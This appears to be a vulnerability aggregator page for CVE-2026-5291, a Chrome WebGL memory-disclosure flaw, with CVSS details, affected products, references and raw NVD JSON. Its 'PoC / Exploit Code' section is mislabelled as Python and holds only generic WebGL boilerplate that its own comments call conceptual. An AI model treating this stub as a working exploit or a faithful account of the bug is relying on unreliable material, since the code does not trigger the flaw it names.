CVE-2026-5291

Description

Inappropriate implementation in WebGL in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.178

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5291 (Conceptual WebGL Info Leak)
This script demonstrates a potential WebGL memory read scenario.
-->
<html>
<body>
<canvas id="glCanvas" width="1" height="1"></canvas>
<script>
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl');

if (!gl) {
    console.log('WebGL not supported');
} else {
    // Vertex shader source
    const vsSource = `
        attribute vec4 aVertexPosition;
        void main() {
            gl_Position = aVertexPosition;
        }
    `;

    // Fragment shader source simulating potential leak
    const fsSource = `
        precision mediump float;
        void main() {
            // Attempt to access uninitialized memory or specific patterns
            // In a real exploit, this would involve specific uniforms or attributes
            // triggering the out-of-bounds read.
            gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0);
        }
    `;

    function loadShader(gl, type, source) {
        const shader = gl.createShader(type);
        gl.shaderSource(shader, source);
        gl.compileShader(shader);
        if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
            console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
            gl.deleteShader(shader);
            return null;
        }
        return shader;
    }

    const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
    const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);

    const shaderProgram = gl.createProgram();
    gl.attachShader(shaderProgram, vertexShader);
    gl.attachShader(shaderProgram, fragmentShader);
    gl.linkProgram(shaderProgram);

    if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
        console.error('Unable to initialize the shader program: ' + gl.getProgramInfoLog(shaderProgram));
    }

    // Draw to trigger the potential vulnerability path
    gl.useProgram(shaderProgram);
    
    // Setup buffers (simplified)
    const positionBuffer = gl.createBuffer();
    gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
    const positions = [0.0, 0.0];
    gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);

    // Attempt to read pixels which might contain leaked data
    const pixels = new Uint8Array(4);
    gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
    
    console.log('Potential leaked data:', pixels);
}
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5291
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5291
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5291/
[4] VulDB https://vuldb.com/cve/CVE-2026-5291
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html
[6] https://issues.chromium.org/issues/490118036

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5291", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:02.743", "lastModified": "2026-04-01T16:40:46.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in WebGL in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/490118036", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}